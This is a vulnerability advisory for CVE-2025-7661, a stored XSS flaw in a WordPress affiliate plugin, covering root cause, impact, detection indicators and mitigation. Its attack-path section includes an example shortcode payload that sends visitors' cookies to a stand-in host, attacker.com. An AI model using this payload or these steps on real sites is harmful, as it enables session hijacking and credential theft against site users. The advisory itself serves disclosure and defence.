CVE-2025-7661: 
WordPress vulnerability analysis and mitigation

CVE-2025-7661 is a Stored Cross-Site Scripting (XSS) vulnerability in the "Partnerský systém Martinus" plugin for WordPress. It affects all versions up to and including 1.7.1, and was published on July 19, 2025. The flaw allows authenticated attackers with contributor-level access or above to inject arbitrary web scripts via the plugin's martinus shortcode, which then execute in victims' browsers when they visit an affected page. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is insufficient input sanitization and output escaping on user-supplied attributes passed to the martinus shortcode, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). An authenticated attacker with at minimum contributor-level WordPress access can embed a malicious shortcode containing arbitrary JavaScript into a post or page. When any user (including administrators) visits the page, the injected script executes in their browser context. The vulnerable code path has been identified in the plugin source at martinus-pp.php, line 266 (Wordfence, WordPress Plugin Trac).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of users who visit the compromised page, impacting both confidentiality and integrity (CVSS scope: Changed). Potential consequences include session cookie theft, credential harvesting, defacement of page content, redirection to malicious sites, or delivery of further malware payloads to site visitors. Because the script persists in stored page content, all subsequent visitors are affected until the malicious content is removed (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-7661 as of the time of writing. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of near-term exploitation. The vulnerability requires authenticated access at contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities. It has not been added to the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).

1. Reconnaissance: Identify WordPress sites running the "Partnerský systém Martinus" plugin version 1.7.1 or earlier, using tools like WPScan or by inspecting plugin directories.
2. Obtain contributor access: Register or compromise a WordPress account with at least contributor-level privileges on the target site.
3. Craft malicious shortcode: Create or edit a post/page and insert a [martinus] shortcode with a malicious attribute containing a JavaScript payload, e.g., [martinus param="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish or submit content: Submit the post for review or publish it (depending on role permissions), embedding the stored XSS payload in the site's database.
5. Trigger execution: When any user (including administrators) visits the affected page, the injected script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Plugin Trac).

• Logs: WordPress access logs showing authenticated POST requests to wp-admin/post.php or REST API endpoints containing martinus shortcode with suspicious script tags or encoded JavaScript payloads.
• Database: WordPress wp_posts table entries containing [martinus shortcode with embedded <script>, javascript:, or event handler attributes (e.g., onerror, onload) in post content.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing the martinus shortcode, potentially carrying cookie or session data in query parameters.
• File System: No direct file system artifacts expected for this stored XSS; however, review plugin files (especially martinus-pp.php) for unauthorized modifications.

WordPress site administrators should update the "Partnerský systém Martinus" plugin to a version beyond 1.7.1 if a patched release is available from the plugin author (maxomatos). If no patch is yet available, the recommended workaround is to deactivate and remove the plugin until a fix is released. Additionally, restrict contributor-level account creation and review existing contributor accounts for unauthorized access. A Web Application Firewall (WAF) with XSS filtering rules can provide an additional layer of defense (Wordfence).

Wordfence disclosed and reported this vulnerability as part of their weekly WordPress vulnerability report for the period of July 14–20, 2025, noting it was discovered through their threat intelligence program (Wordfence Weekly Report). No significant broader media coverage or notable researcher commentary beyond standard vulnerability database aggregation has been observed for this CVE.